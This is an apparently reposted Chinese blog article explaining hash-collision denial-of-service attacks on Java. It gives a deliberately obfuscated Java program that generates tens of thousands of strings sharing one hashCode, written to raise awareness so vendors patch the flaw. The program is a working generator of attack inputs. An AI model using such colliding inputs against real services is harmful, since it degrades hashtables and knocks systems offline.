技术头条 - 一个快速在微博传播文章的方式     搜索本站
您现在的位置首页 --> 算法 --> Java Hash Algorithm Collision Practice (JAVA哈希算法冲突实践)

Java Hash Algorithm Collision Practice (JAVA哈希算法冲突实践)

浏览:3038次  出处信息

摘要

以代码形式,提供一种可验证的Java语言下哈希冲突字串生成方式。制造Hash冲突可引发Hashtable数据结构退化为低效链表,常用于DoS攻击。

背景及几句废话

2012年的第一篇blog,想想还是写点技术相关的。最近安全圈比较热的话题是hash algorithm collision dos attack. 截止到本文发布之时,比较优雅解决这一问题的厂商依然只是少数。为了促进这一问题得到尽快解决,我认为有必要在更大的范围内普及这一攻击的基础知识。本文主要思路以代码方式提供。如果不能保证独立运行以下代码,请绕道;如果对代码可读性有疑问,那是我故意的。

PS: JDK中关于hashCode()方法的实现,可用以下公式表达:

代码


package com.unclejoey.just4fun;

import java.math.BigDecimal;

public class HashCollision {

    private static final int i1 = 48;
    private static final int i2 = 8;
    private static final int i3 = 31;
    private static final int i4 = 60000;
    private static final long l1 = i3 -1;
    private static final long l2 = 2l << 32;
    private static final BigDecimal d1 = new BigDecimal(31);
    private static final BigDecimal d2 = d1.pow(i2);
    private static final BigDecimal d3 = new BigDecimal(l2);

	public static void main(String[] args) {
		String t = "test_string";
		for(int i=0; i<=i4; i++) {
			String s = String.valueOf(i);
            while(s.length() < 5){
            	s = "0" + s;
            }
            int hs = s.hashCode();
    		char[] r = g(hs, t.hashCode());
    		s = s.concat(new String(r));
    		if (s.hashCode() != t.hashCode()) {
    			System.err.println("NO WAY, I Couldn't be wrong...");
    			System.exit(1);
    		}
    		System.out.println(s);
		}
	}

	private static char[] g(int s, int t) {
        long hx1 = l1 * s + i1;
        BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));
        BigDecimal hx3 = hx2.divide(new BigDecimal(l1));
        BigDecimal hx4 = new BigDecimal(t).subtract(hx3);
        BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));
        long l = hx4.subtract(b).longValue();
        l = (l+l2) % l2;
        if (l < 0) l += l2;
        char[] c = new char[i2];
        int p = 0;
        while (l != 0) {
            c[p++] = (char) (l % (i3) + i1);
            l = l / i3;
        }
        int f = i2 - p;
        char[] cs = new char[i2];
        int i = 0;
        while (i < f) {
            cs[i++] = (char) i1;
        }
        while (i < i2) {
            cs[i] = c[p - i + f - 1];
            ++i;
        }
        return cs;
    }
}

建议继续学习:

  1. HashMap解决hash冲突的方法    (阅读:11227)
  2. 关于memcache分布式一致性hash    (阅读:10685)
  3. 一致性哈希算法及其在分布式系统中的应用    (阅读:7911)
  4. 分布式哈希和一致性哈希    (阅读:7634)
  5. MinHash原理与应用    (阅读:5840)
  6. LVS hash size解决4096个并发的问题    (阅读:5418)
  7. 无锁HashMap的原理与实现    (阅读:5325)
  8. 如果用户在5分钟内重复上线,就给他发警告,问如何设计?    (阅读:4863)
  9. Ubuntu 下Hash校验和不符问题的解决    (阅读:4468)
  10. 关于哈希map奇慢无比的原因定位    (阅读:3916)
QQ技术交流群:445447336,欢迎加入!
扫一扫订阅我的微信号:IT技术博客大学习
© 2009 - 2024 by blogread.cn 微博:@IT技术博客大学习

京ICP备15002552号-1